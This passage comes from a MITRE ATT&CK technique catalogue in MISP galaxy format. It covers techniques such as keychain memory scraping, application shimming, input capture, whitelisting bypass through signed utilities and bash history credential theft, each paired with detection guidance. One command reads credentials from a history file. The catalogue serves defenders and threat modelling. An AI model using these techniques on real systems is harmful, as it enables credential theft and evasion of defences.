If an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)

Platforms: macOS

Data Sources: Process Monitoring

Permissions Required: root

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Securityd Memory - T1167"*

Table 1876. Table References

Links
https://attack.mitre.org/wiki/Technique/T1167
http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Spearphishing Attachment - T1193

Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon User Execution to gain execution.

There are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary’s payload exploits a vulnerability or directly executes on the user’s system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.

Detection: Network intrusion detection systems and email gateways can be used to detect spearphishing with malicious attachments in transit. Detonation chambers may also be used to identify malicious attachments. Solutions can be signature and behavior based, but adversaries may construct attachments in a way to avoid these systems.

Anti-virus can potentially detect malicious documents and attachments as they're scanned to be stored on the email server or on the user's computer. Endpoint sensing or network sensing can potentially detect malicious events once the attachment is opened (such as a Microsoft Word document or PDF reaching out to the internet or spawning Powershell.exe) for techniques such as Exploitation for Client Execution and Scripting.

Platforms: Linux, Windows, macOS

Data Sources: File monitoring, Packet capture, Mail server, Network intrusion detection system, Detonation chamber, Email gateway

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Spearphishing Attachment - T1193"*

Table 1877. Table References

Links
https://attack.mitre.org/wiki/Technique/T1193

Application Shimming - T1138

The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow backward compatibility of programs as Windows updates and changes its code. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Engame Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses Hooking to redirect the code as necessary in order to communicate with the OS. A list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:

- <code>%WINDIR%\AppPatch\sysmain.sdb</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\installedsdb</code>

Custom databases are stored in:

- <code>%WINDIR%\AppPatch\custom & %WINDIR%\AppPatch\AppPatch64\Custom</code>
- <code>hklm\software\microsoft\windows nt\currentversion\appcompatflags\custom</code>

To keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to Bypass User Account Control (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to Hooking, utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.

Detection: There are several public tools available that will detect shims that are currently available (Citation: Black Hat 2015 App Shim):

- Shim-Process-Scanner - checks memory of every running process for any Shim flags
- Shim-Detector-Lite - detects installation of custom shim databases
- Shim-Guard - monitors registry for any shim installations
- ShimScanner - forensic tool to find active shims in memory
- ShimCacheMem - Volatility plug-in that pulls shim cache from memory (note: shims are only cached after reboot)

Monitor process execution for sdbinst.exe and command-line arguments for potential indications of application shim abuse.

Platforms: Windows

Data Sources: Loaded DLLs, System calls, Windows Registry, Process Monitoring, Process command-line parameters

Permissions Required: Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Application Shimming - T1138"*

Table 1878. Table References

Links
https://attack.mitre.org/wiki/Technique/T1138
https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf
https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process

Input Capture - T1056

Adversaries can use methods of capturing user input for obtaining credentials for Valid Accounts and information Collection that include keylogging and user input field interception.

Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes, (Citation: Adventures of a Keystroke) but other methods exist to target information for specific purposes, such as performing a UAC prompt or wrapping the Windows default credential provider. (Citation: Wrightson 2012)

Keylogging is likely to be used to acquire credentials for new access opportunities when Credential Dumping efforts are not effective, and may require an adversary to remain passive on a system for a period of time before an opportunity arises.

Adversaries may also install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service. (Citation: Volexity Virtual Private Keylogging)

Detection: Keyloggers may take many forms, possibly involving modification to the Registry and installation of a driver, setting a hook, or polling to intercept keystrokes. Commonly used API calls include SetWindowsHook, GetKeyState, and GetAsynceyState. (Citation: Adventures of a Keystroke) Monitor the Registry and file system for such changes and detect driver installs, as well as looking for common keylogging API calls. API calls alone are not an indicator of keylogging, but may provide behavioral data that is useful when combined with other information such as new files written to disk and unusual processes.

Monitor the Registry for the addition of a Custom Credential Provider. (Citation: Wrightson 2012) Detection of compromised Valid Accounts in use by adversaries may help to catch the result of user input interception if new techniques are used.

Platforms: Linux, macOS, Windows

Data Sources: Windows Registry, Kernel drivers, Process monitoring, API monitoring

Permissions Required: Administrator, SYSTEM

Contributors: John Lambert, Microsoft Threat Intelligence Center

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Input Capture - T1056"*

Table 1879. Table References

Links
https://attack.mitre.org/wiki/Technique/T1056
http://blog.leetsys.com/2012/01/02/capturing-windows-7-credentials-at-logon-using-custom-credential-provider/
https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/

Regsvcs/Regasm - T1121

Regsvcs and Regasm are Windows command-line utilities that are used to register .NET Component Object Model (COM) assemblies. Both are digitally signed by Microsoft. (Citation: MSDN Regsvcs)

(Citation: MSDN Regasm)

Adversaries can use Regsvcs and Regasm to proxy execution of code through a trusted Windows utility. Both utilities may be used to bypass process whitelisting through use of attributes within the binary to specify code that should be run before registration or unregistration: <code>[ComRegisterFunction]</code> or <code>[ComUnregisterFunction]</code> respectively. The code with the registration and unregistration attributes will be executed even if the process is run under insufficient privileges and fails to execute. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)

Detection: Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. Command arguments used before and after Regsvcs.exe or Regasm.exe invocation may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows

Data Sources: Process monitoring, Process command-line parameters

Defense Bypassed: Process whitelisting

Permissions Required: User, Administrator

Remote Support: No

Contributors: Casey Smith

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Regsvcs/Regasm - T1121"*

Table 1880. Table References

Links
https://attack.mitre.org/wiki/Technique/T1121
https://msdn.microsoft.com/en-us/library/04za0hca.aspx
https://msdn.microsoft.com/en-us/library/tzat5yw6.aspx

Trusted Developer Utilities - T1127

There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering. These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application whitelisting defensive solutions.

===MSBuild===

MSBuild.exe (Microsoft Build Engine) is a software build platform used by Visual Studio. It takes XML formatted project files that define requirements for building various platforms and configurations. (Citation: MSDN MSBuild)

Adversaries can use MSBuild to proxy execution of code through a trusted Windows utility. The inline task capability of MSBuild that was introduced in .NET version 4 allows for C# code to be inserted into the XML project file. (Citation: MSDN MSBuild) Inline Tasks MSBuild will compile and execute the inline task. MSBuild.exe is a signed Microsoft binary, so when it is used this way it can execute arbitrary code and bypass application whitelisting defenses that are configured to allow MSBuild.exe execution. (Citation: SubTee GitHub All The Things Application Whitelisting Bypass)

===DNX===

The .NET Execution Environment (DNX), dnx.exe, is a software development kit packaged with Visual Studio Enterprise. It was retired in favor of .NET Core CLI in 2016. (Citation: Microsoft Migrating from DNX) DNX is not present on standard builds of Windows and may only be present on developer workstations using older versions of .NET Core and ASP.NET Core 1.0. The dnx.exe executable is signed by Microsoft.

An adversary can use dnx.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for DNX. (Citation: engima0x3 DNX Bypass)

===RCSI===

The rcsi.exe utility is a non-interactive command-line interface for C# that is similar to csi.exe. It was provided within an early version of the Roslyn .NET Compiler Platform but has since been deprecated for an integrated solution. (Citation: Microsoft Roslyn CPT RCSI) The rcsi.exe binary is signed by Microsoft. (Citation: engima0x3 RCSI Bypass)

C# .csx script files can be written and executed with rcsi.exe at the command-line. An adversary can use rcsi.exe to proxy execution of arbitrary code to bypass application whitelisting policies that do not account for execution of rcsi.exe. (Citation: engima0x3 RCSI Bypass)

===WinDbg/CDB===

WinDbg is a Microsoft Windows kernel and user-mode debugging utility. The Microsoft Console Debugger (CDB) cdb.exe is also user-mode debugger. Both utilities are included in Windows software development kits and can be used as standalone tools. (Citation: Microsoft Debugging Tools for Windows) They are commonly used in software development and reverse engineering and may not be found on typical Windows systems. Both WinDbg.exe and cdb.exe binaries are signed by Microsoft.

An adversary can use WinDbg.exe and cdb.exe to proxy execution of arbitrary code to bypass application whitelist policies that do not account for execution of those utilities. (Citation: Exploit Monday WinDbg)

It is likely possible to use other debuggers for similar purposes, such as the kernel-mode debugger kd.exe, which is also signed by Microsoft.

===Tracker===

The file tracker utility, tracker.exe, is included with the .NET framework as part of MSBuild. It is used for logging calls to the Windows file system. (Citation: Microsoft Docs File Tracking)

An adversary can use tracker.exe to proxy execution of an arbitrary DLL into another process.

Since tracker.exe is also signed it can be used to bypass application whitelisting solutions. (Citation: Twitter SubTee Tracker.exe)

Detection: The presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.

Use process monitoring to monitor the execution and arguments of MSBuild.exe, dnx.exe, rcsi.exe, WinDbg.exe, cdb.exe, and tracker.exe. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed.

Platforms: Windows

Data Sources: Process monitoring

Defense Bypassed: Application whitelisting

Permissions Required: User

System Requirements: MSBuild: .NET Framework version 4 or higher DNX: .NET 4.5.2, Powershell 4.0 RCSI: .NET 4.5 or later, Visual Studio 2012

Remote Support: No

Contributors: Casey Smith, Matthew Demaske, Adaptforward

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Trusted Developer Utilities - T1127"*

Table 1881. Table References

Links
https://attack.mitre.org/wiki/Technique/T1127
http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html
https://msdn.microsoft.com/library/dd393574.aspx
https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/index
https://docs.microsoft.com/visualstudio/msbuild/file-tracking
https://docs.microsoft.com/en-us/dotnet/core/migration/from-dnx
https://blogs.msdn.microsoft.com/visualstudio/2011/10/19/introducing-the-microsoft-roslyn-ctp/
https://twitter.com/subTee/status/793151392185589760
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/

System Network Configuration Discovery - T1016

Adversaries will likely look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Network Configuration Discovery - T1016"*

Table 1882. Table References

Links
https://attack.mitre.org/wiki/Technique/T1016

Scheduled Task - T1053

Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. Scheduling a task on a remote system typically required being a member of the Administrators group on the the remote system. (Citation: TechNet Task Scheduler Security)

An adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.

Detection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor

Windows Task Scheduler stores in <code>%systemroot%\System32\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Configure event logging for scheduled task creation and changes by enabling the "Microsoft-Windows-TaskScheduler/Operational" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)

*Event ID 106 - Scheduled task registered *Event ID 140 - Scheduled task updated *Event ID 141 - Scheduled task removed

Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.

Monitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.

Platforms: Windows

Data Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs

Effective Permissions: Administrator, SYSTEM, User

Permissions Required: Administrator, SYSTEM, User

Remote Support: Yes

Contributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek, Alain Homewood, Insomnia Security

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Scheduled Task - T1053"*

Table 1883. Table References

Links
https://attack.mitre.org/wiki/Technique/T1053
https://technet.microsoft.com/en-us/sysinternals/bb963902
https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen
https://technet.microsoft.com/library/dd315590.aspx

https://technet.microsoft.com/en-us/library/cc785125.aspx
https://twitter.com/leoloobeek/status/939248813465853953

Trap - T1154

The <code>trap</code> command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like <code>ctrl+c</code> and <code>ctrl+d</code>. Adversaries can use this to register code to be executed when the shell encounters specific interrupts either to gain execution or as a persistence mechanism. Trap commands are of the following format <code>trap 'command list' signals</code> where "command list" will be executed when "signals" are received.

Detection: Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.

Platforms: Linux, macOS

Data Sources: File monitoring, Process Monitoring, Process command-line parameters

Permissions Required: User, Administrator

Remote Support: No

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Trap - T1154"*

Table 1884. Table References

Links
https://attack.mitre.org/wiki/Technique/T1154

Windows Management Instrumentation - T1047

Windows Management Instrumentation (WMI) is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) (Citation: Wikipedia SMB) and Remote Procedure Call Service (RPCS) (Citation: TechNet RPC) for remote access. RPCS operates over port 135. (Citation: MSDN WMI)

An adversary can use WMI to interact with local and remote systems and use it as a means to perform many tactic functions, such as gathering information for Discovery and remote Execution of files as part of Lateral Movement. (Citation: FireEye WMI 2015)

Detection: Monitor network traffic for WMI connections; the use of WMI in environments that do not typically use WMI may be suspect. Perform process monitoring to capture command-line arguments of "wmic" and detect commands that are used to perform remote behavior. (Citation: FireEye WMI 2015)

Platforms: Windows

Data Sources: Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring

Permissions Required: User, Administrator

System Requirements: WMI service, winmgmt, running. Host/network firewalls allowing SMB and WMI ports from source to destination. SMB authentication.

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Windows Management Instrumentation - T1047"*

Table 1885. Table References

Links
https://attack.mitre.org/wiki/Technique/T1047
https://en.wikipedia.org/wiki/Server%20Message%20Block
https://technet.microsoft.com/en-us/library/cc787851.aspx
https://msdn.microsoft.com/en-us/library/aa394582.aspx
https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-windows-management-instrumentation.pdf

NTFS File Attributes - T1096

Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)

Detection: Forensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions, used to interact with EA, and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)

The Streams tool of Sysinternals can be used to uncover files with ADSs. The <code>dir /r</code> command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a <code>-stream</code> parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)

Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: <code>file.ext:ads[.ext]</code>) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014)

Platforms: Windows

Data Sources: File monitoring, Kernel drivers, API monitoring

Defense Bypassed: Signature-based detection, Anti-virus, Host forensic analysis

System Requirements: NTFS partitioned hard drive

Contributors: Red Canary

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="NTFS File Attributes - T1096"*

Table 1886. Table References

Links
https://attack.mitre.org/wiki/Technique/T1096
http://journeyintoir.blogspot.com/2012/12/extracting-zeroaccess-from-ntfs.html
http://msdn.microsoft.com/en-us/library/aa364404
https://posts.specterops.io/host-based-threat-modeling-indicator-design-a9dbbb53d5ea
https://blogs.technet.microsoft.com/askcore/2010/08/25/ntfs-file-attributes/
https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/
https://blogs.technet.microsoft.com/askcore/2013/03/24/alternate-data-streams-in-ntfs/
https://www.symantec.com/connect/articles/what-you-need-know-about-alternate-data-streams-windows-your-data-secure-can-you-restore

Remote Access Tools - T1219

An adversary may use legitimate desktop support and remote access software, such as Team Viewer, Go2Assist, LogMein, AmmyyAdmin, etc, to establish an interactive command and control channel to target systems within networks. These services are commonly used as legitimate technical support software, and may be whitelisted within a target environment. Remote access tools like VNC, Ammy, and Teamviewer are used frequently when compared with other legitimate software commonly used by adversaries. (Citation: Symantec Living off the Land)

Remote access tools may be established and used post-compromise as alternate communications channel for Redundant Access or as a way to establish an interactive remote desktop session with the target system. They may also be used as a component of malware to establish a reverse connection or back-connect to a service or adversary controlled system.

Admin tools such as TeamViewer have been used by several groups targeting institutions in countries of interest to the Russian state and criminal campaigns. (Citation: CrowdStrike 2015 Global Threat Report) (Citation: CrySyS Blog TeamSpy)

Detection: Monitor for applications and processes related to remote admin tools. Correlate activity with other suspicious behavior that may reduce false positives if these tools are used by legitimate users and administrators.

Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used.

Domain Fronting may be used in conjunction to avoid defenses. Adversaries will likely need to deploy and/or install these remote tools to compromised systems. It may be possible to detect or prevent the installation of these tools with host-based solutions.

Platforms: Linux, Windows, macOS

Data Sources: Network intrusion detection system, Network protocol analysis, Process use of network, Process Monitoring

Permissions Required: User

Requires Network: Yes

Contributors: Matt Kelly, @breakersall

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Remote Access Tools - T1219"*

Table 1887. Table References

Links
https://attack.mitre.org/wiki/Technique/T1219
https://www.symantec.com/content/dam/symantec/docs/security-center/white-papers/istr-living-off-the-land-and-fileless-attack-techniques-en.pdf
https://go.crowdstrike.com/rs/281-OBQ-266/images/15GlobalThreatReport.pdf
https://blog.crysys.hu/2013/03/teamspy/

Bash History - T1139

Bash keeps track of the commands users type on the command-line with the "history" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)

Detection: Monitoring when the user’s <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like "history" instead of commands like <code>cat ~/.bash_history</code>.

Platforms: Linux, macOS

Data Sources: File monitoring, Process monitoring, Process command-line parameters

Permissions Required: User

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Bash History - T1139"*

Table 1888. Table References

Links
https://attack.mitre.org/wiki/Technique/T1139
http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way

Process Discovery - T1057

Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software running on systems within the network.

===Windows===

An example command that would obtain details on processes is "tasklist" using the Tasklist utility.

===Mac and Linux===

In Mac and Linux, this is accomplished with the <code>ps</code> command.

Detection: System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

Normal, benign system and network events that look like process discovery may be uncommon, depending on the environment and how they are used. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.

Platforms: Linux, macOS, Windows

Data Sources: Process command-line parameters, Process monitoring

Permissions Required: User, Administrator, SYSTEM

System Requirements: Administrator, SYSTEM may provide better process ownership details

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Process Discovery - T1057"*

Table 1889. Table References

Links

https://attack.mitre.org/wiki/Technique/T1057

System Firmware - T1019

The BIOS (Basic Input/Output System) and The Unified Extensible Firmware Interface (UEFI) or Extensible Firmware Interface (EFI) are examples of system firmware that operate as the software interface between the operating system and hardware of a computer. (Citation: Wikipedia BIOS) (Citation: Wikipedia UEFI) (Citation: About UEFI)

System firmware like BIOS and (U)EFI underly the functionality of a computer and may be modified by an adversary to perform or assist in malicious activity. Capabilities exist to overwrite the system firmware, which may give sophisticated adversaries a means to install malicious firmware updates as a means of persistence on a system that may be difficult to detect.

Detection: System firmware manipulation may be detected. (Citation: MITRE Trustworthy Firmware Measurement) Dump and inspect BIOS images on vulnerable systems and compare against known good images. (Citation: MITRE Copernicus) Analyze differences to determine if malicious changes have occurred. Log attempts to read/write to BIOS and compare against known patching behavior.

Likewise, EFI modules can be collected and compared against a known-clean list of EFI executable binaries to detect potentially malicious modules. The CHIPSEC framework can be used for analysis to determine if firmware modifications have been performed. (Citation: McAfee CHIPSEC Blog) (Citation: Github CHIPSEC) (Citation: Intel HackingTeam UEFI Rootkit)

Platforms: Windows

Data Sources: API monitoring, BIOS, EFI

Permissions Required: Administrator, SYSTEM

Contributors: Ryan Becwar, McAfee

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="System Firmware - T1019"*

Table 1890. Table References

Links
https://attack.mitre.org/wiki/Technique/T1019
https://en.wikipedia.org/wiki/BIOS
https://en.wikipedia.org/wiki/Unified%20Extensible%20Firmware%20Interface
http://www.uefi.org/about
http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research
http://www.mitre.org/capabilities/cybersecurity/overview/cybersecurity-blog/copernicus-question-your-assumptions-about
https://securingtomorrow.mcafee.com/business/chipsec-support-vault-7-disclosure-scanning/
https://github.com/chipsec/chipsec

http://www.intelsecurity.com/advanced-threat-research/content/data/HT-UEFI-rootkit.html

Registry Run Keys / Start Folder - T1060

Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) The program will be executed under the context of the user and will have the account’s associated permissions level.

Adversaries can use these configuration locations to execute malware, such as remote access tools, to maintain persistence through system reboots. Adversaries may also use Masquerading to make the Registry entries look as if they are associated with legitimate programs.

Detection: Monitor Registry for changes to run keys that do not correlate with known software, patch cycles, etc. Monitor the start folder for additions or changes. Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the run keys' Registry locations and startup folders. (Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.

Changes to these locations typically happen under normal conditions when legitimate software is installed. To increase confidence of malicious activity, data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.

Platforms: Windows

Data Sources: Windows Registry, File monitoring

Permissions Required: User, Administrator

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Registry Run Keys / Start Folder - T1060"*

Table 1891. Table References

Links
https://attack.mitre.org/wiki/Technique/T1060
http://msdn.microsoft.com/en-us/library/aa376977
https://technet.microsoft.com/en-us/sysinternals/bb963902

Service Execution - T1035

Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.

Detection: Changes to service Registry entries and command-line invocation of tools capable of modifying services that do not correlate with known software, patch cycles, etc., may be suspicious. If a service is used only to execute a binary or script and not to persist, then it will likely be changed back to its original form shortly after the service is restarted so the service is not left broken, as is the case with the common administrator tool PsExec.

Platforms: Windows

Data Sources: Windows Registry, Process command-line parameters, Process monitoring

Permissions Required: Administrator, SYSTEM

Remote Support: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Service Execution - T1035"*

Table 1892. Table References

Links
https://attack.mitre.org/wiki/Technique/T1035

Uncommonly Used Port - T1065

Adversaries may conduct C2 communications over a non-standard port to bypass proxies and firewalls that have been improperly configured.

Detection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)

Platforms: Linux, macOS, Windows

Data Sources: Netflow/Enclave netflow, Process use of network, Process monitoring

Requires Network: Yes

The tag is: *misp-galaxy:mitre-enterprise-attack-attack-pattern="Uncommonly Used Port - T1065"*

Table 1893. Table References

Links
https://attack.mitre.org/wiki/Technique/T1065
https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf

CMSTP - T1191

The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles. (Citation: Microsoft Connection Manager Oct 2009)

CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands. (Citation: Twitter CMSTP Usage Jan 2018) Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs (Citation: MSitPros CMSTP Aug 2017) and/or COM scriptlets (SCT) from remote servers. (Citation: Twitter CMSTP Jan 2018) (Citation: GitHub Ultimate AppLocker Bypass List) This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface. (Citation: MSitPros CMSTP Aug 2017) (Citation: GitHub Ultimate AppLocker Bypass List)

